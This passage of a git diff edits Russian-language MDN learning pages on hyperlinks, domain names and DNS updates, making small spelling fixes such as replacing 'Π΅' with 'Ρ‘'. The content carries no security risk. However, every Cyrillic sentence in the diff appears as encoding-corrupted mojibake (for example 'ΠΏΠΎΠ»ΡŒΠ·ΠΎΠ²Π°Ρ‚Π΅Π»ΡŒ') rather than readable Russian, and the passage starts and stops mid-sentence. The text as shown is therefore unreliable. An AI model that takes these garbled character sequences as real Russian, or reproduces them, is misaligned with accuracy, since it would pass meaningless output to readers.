ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎ Π΄ΠΎΡΡ‚ΠΈΠ³Π½ΡƒΡ‚ΡŒ Ρ†Π΅Π»ΠΈ всСго лишь активируя ссылку.</p>
-<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π³ΠΎΠ»ΡƒΠ±ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π° ΠΈ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹Π΅, ссылки Π²Ρ‹Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΈΠ· общСго тСкста. ΠšΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ Π½Π° ссылку, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅, ΠΈΠ»ΠΈ, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρƒ, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° ссылку ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ Tab ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Enter.</p>
+<p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π³ΠΎΠ»ΡƒΠ±ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π° ΠΈ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹Π΅, ссылки Π²Ρ‹Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΈΠ· общСго тСкста. ΠšΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ Π½Π° ссылку, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘, ΠΈΠ»ΠΈ, Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρƒ, ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° ссылку ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈΒ Tab ΠΈ Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Enter.</p>
<p><img alt="Example of a basic display and effect of a link in a web page" src="https://mdn.mozillademos.org/files/8625/link-1.png" style="height: 492px; width: 477px;"></p>
@@ -53,7 +53,7 @@ original_slug: Learn/Understanding_links_on_the_web
<h2 id="Π“Π»ΡƒΠ±ΠΎΠΊΠΎΠ΅_ΠΏΠΎΠ³Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅">Π“Π»ΡƒΠ±ΠΎΠΊΠΎΠ΅ ΠΏΠΎΠ³Ρ€ΡƒΠΆΠ΅Π½ΠΈΠ΅</h2>
-<p>Как ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ, ссылка <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,Helvetica,sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;">β€” </span><strong style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,Helvetica,sans-serif; font-size: 28px; font-style: normal; font-variant: normal; font-weight: 700; letter-spacing: normal; line-height: 1.2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;"> </strong>это строка, которая связана с URL. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ссылки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ с Π»Π΅Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΠΏΠ΅Ρ€Π΅ΠΏΡ€Ρ‹Π³ΠΈΠ²Π°Ρ‚ΡŒ с ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ. Π—Π΄Π΅ΡΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡŽΠ°Π½ΡΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ:Β </p>
+<p>Как ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ, ссылка <span style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,Helvetica,sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;">β€” </span><strong style="background-color: #ffffff; color: #333333; display: inline !important; float: none; font-family: Arial,Helvetica,sans-serif; font-size: 28px; font-style: normal; font-variant: normal; font-weight: 700; letter-spacing: normal; line-height: 1.2; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;"> </strong>это строка, которая связана с URL. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ссылки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ с Π»Ρ‘Π³ΠΊΠΎΡΡ‚ΡŒΡŽ ΠΏΠ΅Ρ€Π΅ΠΏΡ€Ρ‹Π³ΠΈΠ²Π°Ρ‚ΡŒ с ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ. Π—Π΄Π΅ΡΡŒ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½ΡŽΠ°Π½ΡΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΆΠ½ΠΎ Ρ€Π°ΡΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ:Β </p>
<h3 id="Π’ΠΈΠΏΡ‹_ссылок">Π’ΠΈΠΏΡ‹ ссылок</h3>
@@ -66,7 +66,7 @@ original_slug: Learn/Understanding_links_on_the_web
<dd>Бсылка с Ρ‡ΡŒΠ΅ΠΉ-Π»ΠΈΠ±ΠΎ Π²Π΅Π±-страницы Π½Π° ваш сайт. Π­Ρ‚ΠΎ внСшняя ссылка Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚. Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚Π²Π΅Ρ‡Π°Ρ‚ΡŒ Ρ‚Π΅ΠΌ ΠΆΠ΅ ΠΊΠΎΠΌΡƒ-Ρ‚ΠΎ, ΠΊΡ‚ΠΎ ссылаСтся Π½Π° ваш сайт.</dd>
</dl>
-<p>Когда Π²Ρ‹ создаётС Π²Π΅Π±-сайт, Ρ„ΠΎΠΊΡƒΡΠΈΡ€ΡƒΠΉΡ‚Π΅ΡΡŒ Π½Π° Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… ссылках, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ ваш сайт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ ΠΈ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ для использования. НайдитС Π½ΡƒΠΆΠ½Ρ‹ΠΉ баланс ΠΌΠ΅ΠΆΠ΄Ρƒ большим ΠΈ нСдостаточным количСством ссылок. ΠœΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π΅ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ сайта Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅, Π½ΠΎ Π² качСствС ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создаСтС Π²Π΅Π±-страницу, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ хотя Π±Ρ‹ ΠΎΠ΄Π½Π° ΠΈΠ· Π²Π°ΡˆΠΈΡ… страниц ссылаСтся Π½Π° Π½Π΅Ρ‘. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Ссли Π½Π° вашСм сайтС Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ Π΄Π΅ΡΡΡ‚ΡŒ страниц, Π΄ΠΎΠ±ΠΈΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ каТдая страница ΡΡΡ‹Π»Π°Π»Π°ΡΡŒ Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ Π²Π΅ΡΡŒΠΌΠ° ΠΊΠΎΠ½Ρ‚Ρ€ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎ.Β </p>
+<p>Когда Π²Ρ‹ создаётС Π²Π΅Π±-сайт, Ρ„ΠΎΠΊΡƒΡΠΈΡ€ΡƒΠΉΡ‚Π΅ΡΡŒ Π½Π° Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΡ… ссылках, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ ваш сайт Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ ΠΈ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ для использования. НайдитС Π½ΡƒΠΆΠ½Ρ‹ΠΉ баланс ΠΌΠ΅ΠΆΠ΄Ρƒ большим ΠΈ нСдостаточным количСством ссылок. ΠœΡ‹ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π΅ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ сайта Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅, Π½ΠΎ Π² качСствС ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создаётС Π²Π΅Π±-страницу, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ хотя Π±Ρ‹ ΠΎΠ΄Π½Π° ΠΈΠ· Π²Π°ΡˆΠΈΡ… страниц ссылаСтся Π½Π° Π½Π΅Ρ‘. Π‘ Π΄Ρ€ΡƒΠ³ΠΎΠΉ стороны, Ссли Π½Π° вашСм сайтС Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ Π΄Π΅ΡΡΡ‚ΡŒ страниц, Π΄ΠΎΠ±ΠΈΠ²Π°Ρ‚ΡŒΡΡ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ каТдая страница ΡΡΡ‹Π»Π°Π»Π°ΡΡŒ Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°, ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒΒ Π²Π΅ΡΡŒΠΌΠ° ΠΊΠΎΠ½Ρ‚Ρ€ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚ΠΈΠ²Π½ΠΎ.Β </p>
<p>Когда Π²Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚Π΅, Π²Π°ΠΌ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ смысла сильно Π²ΠΎΠ»Π½ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ Π²Π½Π΅ΡˆΠ½ΠΈΡ… ΠΈ входящих ссылок, Π½ΠΎ ΠΎΠ½ΠΈ Π²Π°ΠΆΠ½Ρ‹, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ поисковыС систСмы Π½Π°Ρ…ΠΎΠ΄ΠΈΠ»ΠΈ ваш сайт.Β (Π‘ΠΌ. Π±ΠΎΠ»Π΅Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ объяснСниС Π½ΠΈΠΆΠ΅.)</p>
diff --git a/files/ru/learn/common_questions/what_is_a_domain_name/index.html b/files/ru/learn/common_questions/what_is_a_domain_name/index.html
index f60b9b53cf..2d77b02fcd 100644
--- a/files/ru/learn/common_questions/what_is_a_domain_name/index.html
+++ b/files/ru/learn/common_questions/what_is_a_domain_name/index.html
@@ -31,7 +31,7 @@ original_slug: Learn/Understanding_domain_names
<p><span class="seoSummary">Π”ΠΎΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅Π½Π° - ΠΊΠ»ΡŽΡ‡Π΅Π²Π°Ρ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π°Ρ инфраструктуры Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°. Они ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎ-Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Π΅ адрСса Π²Π΅Π±-сСрвСров, доступных Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.</span></p>
-<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Β ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Β ΠΊ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ доступСн чСрСз ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΉ {{Glossary("IP")}}-адрСс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ состоит ΠΈΠ· 32 Π±ΠΈΡ‚ для IPv4 адрСса (Ρ‚Π°ΠΊΠΈΠ΅ адрСса ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π°ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² видС чСтырёх чисСл ΠΎΡ‚ 0 Π΄ΠΎ 255, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈΒ (Π½Π°ΠΏΡ€.., <code>173.194.121.32</code>) ΠΈΠ»ΠΈ 128 bit для IPv6 адрСса (ΠΎΠ½ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π°ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² Π²ΠΈΠ΄Π΅Β 8 Π³Ρ€ΡƒΠΏΠΏ ΠΏΠΎ 4 ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… чисСл, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… двоСточиями (Π½Π°ΠΏΡ€., <code>2027:0da8:8b73:0000:0000:8a2e:0370:1337</code>). ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π»Π΅Π³ΠΊΠΎΒ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ эти адрСса , Π½ΠΎ Ρƒ ΠΆΠΈΠ²Ρ‹Ρ…Β Π»ΡŽΠ΄Π΅ΠΉ ΡƒΡ…ΠΎΠ΄ΠΈΡ‚ слишком ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π° использованиС Ρ‚Π°ΠΊΠΈΡ… адрСсов. IP-адрСса Ρ‚Π°ΠΊΠΆΠ΅ слоТно Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°ΡŽΡ‚ΡΡ ΠΈ часто ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ. Π”Π»ΡΒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎ-Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Π΅ адрСса, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ.</p>
+<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Β ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Β ΠΊ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ доступСн чСрСз ΠΏΡƒΠ±Π»ΠΈΡ‡Π½Ρ‹ΠΉ {{Glossary("IP")}}-адрСс, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ состоит ΠΈΠ· 32 Π±ΠΈΡ‚ для IPv4 адрСса (Ρ‚Π°ΠΊΠΈΠ΅ адрСса ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π°ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² видС чСтырёх чисСл ΠΎΡ‚ 0 Π΄ΠΎ 255, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈΒ (Π½Π°ΠΏΡ€.., <code>173.194.121.32</code>) ΠΈΠ»ΠΈ 128 bit для IPv6 адрСса (ΠΎΠ½ΠΈ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π·Π°ΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ΡΡ Π² Π²ΠΈΠ΄Π΅Β 8 Π³Ρ€ΡƒΠΏΠΏ ΠΏΠΎ 4 ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Ρ… чисСл, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… двоСточиями (Π½Π°ΠΏΡ€., <code>2027:0da8:8b73:0000:0000:8a2e:0370:1337</code>). ΠšΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π»Π΅Π³ΠΊΠΎΒ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ эти адрСса , Π½ΠΎ Ρƒ ΠΆΠΈΠ²Ρ‹Ρ…Β Π»ΡŽΠ΄Π΅ΠΉ ΡƒΡ…ΠΎΠ΄ΠΈΡ‚ слишком ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π° использованиС Ρ‚Π°ΠΊΠΈΡ… адрСсов. IP-адрСса Ρ‚Π°ΠΊΠΆΠ΅ слоТно Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°ΡŽΡ‚ΡΡ ΠΈ часто ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ со Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ. Π”Π»ΡΒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ этой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠΎ-Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Π΅ адрСса, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ.</p>
<h2 id="Активно_ΠΈΠ·ΡƒΡ‡Π°Π΅ΠΌ">Активно ΠΈΠ·ΡƒΡ‡Π°Π΅ΠΌ</h2>
@@ -41,7 +41,7 @@ original_slug: Learn/Understanding_domain_names
<h3 id="Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ…_ΠΈΠΌΡ‘Π½">Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π° Π΄ΠΎΠΌΠ΅Π½Π½Ρ‹Ρ… ΠΈΠΌΡ‘Π½</h3>
-<p>Π”ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ структуру, ΡΠΎΡΡ‚ΠΎΡΡ‰ΡƒΡŽ ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… частСй (частСй ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ бСсконСчноС количСство, Π½ΠΎ Π½Π°Β ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ число ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅Π²Π΅Π»ΠΈΠΊΠΎ), Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΠΈ <strong>Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Ρ… справа Π½Π°Π»Π΅Π²ΠΎ</strong>:</p>
+<p>Π”ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ структуру, ΡΠΎΡΡ‚ΠΎΡΡ‰ΡƒΡŽ ΠΈΠ· Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… частСй (частСй ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ бСсконСчноС количСство, Π½ΠΎ Π½Π°Β ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ число ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅Π²Π΅Π»ΠΈΠΊΠΎ), Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ ΠΈ <strong>Ρ‡ΠΈΡ‚Π°Π΅ΠΌΡ‹Ρ… справа Π½Π°Π»Π΅Π²ΠΎ</strong>:</p>
<p><img alt="Anatomy of the MDN domain name" src="https://mdn.mozillademos.org/files/11229/structure.png" style="height: 76px; width: 252px;"></p>
@@ -126,7 +126,7 @@ NOT FOUND
<h4 id="ОбновлСниС_DNS">ОбновлСниС DNS</h4>
-<p>Π‘Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… DNS хранятся Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ DNS-сСрвСрС ΠΏΠΎ всСму ΠΌΠΈΡ€Ρƒ ΠΈ эти сСрвСры ΠΎΠ±Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ Π·Π° обновлСниями ΠΊ нСскольким сСрвСрам, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΌ β€œauthoritative name server” ΠΈΠ»ΠΈΒ β€œΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ DNS-сСрвСр”. Когда ваш рСгистратор создаёт ΠΈΠ»ΠΈ обновляСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ зарСгистрированном Π΄ΠΎΠΌΠ΅Π½Π΅, ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ Π²ΠΎ всСх DNS-Π±Π°Π·Π°Ρ…. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ DNS-сСрвСр Ρ…Ρ€Π°Π½ΠΈΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π΄ΠΎΠΌΠ΅Π½Π΅ фиксированноС количСство Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π° Π·Π°Ρ‚Π΅ΠΌ автоматичСски обновляСт Π΅Ρ‘Β (DNS-сСрвСр Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ сСрвСр снова). БоотвСтствСнно, ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π±Π°Π· Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ ΠΊΠ°ΠΊΠΎΠ΅-Ρ‚ΠΎ врСмя, ΠΏΠΎΠΊΠ° информация ΠΎ Π½ΠΎΠ²Ρ‹Ρ… ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π½Ρ‹Ρ… Π΄ΠΎΠΌΠ΅Π½Π°Ρ… распространяСтся ΠΏΠΎ Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Ρƒ.</p>
+<p>Π‘Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… DNS хранятся Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΌ DNS-сСрвСрС ΠΏΠΎ всСму ΠΌΠΈΡ€Ρƒ ΠΈ эти сСрвСры ΠΎΠ±Ρ€Π°Ρ‰Π°ΡŽΡ‚ΡΡ Π·Π° обновлСниями ΠΊ нСскольким сСрвСрам, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΌ β€œauthoritative name server” ΠΈΠ»ΠΈΒ β€œΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ DNS-сСрвСр”. Когда ваш рСгистратор создаёт ΠΈΠ»ΠΈ обновляСт ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ зарСгистрированном Π΄ΠΎΠΌΠ΅Π½Π΅, ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ½Π° ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ Π²ΠΎ всСх DNS-Π±Π°Π·Π°Ρ…. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ DNS-сСрвСр Ρ…Ρ€Π°Π½ΠΈΡ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Π΄ΠΎΠΌΠ΅Π½Π΅ фиксированноС количСство Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Π° Π·Π°Ρ‚Π΅ΠΌ автоматичСски обновляСт Π΅Ρ‘Β (DNS-сСрвСр 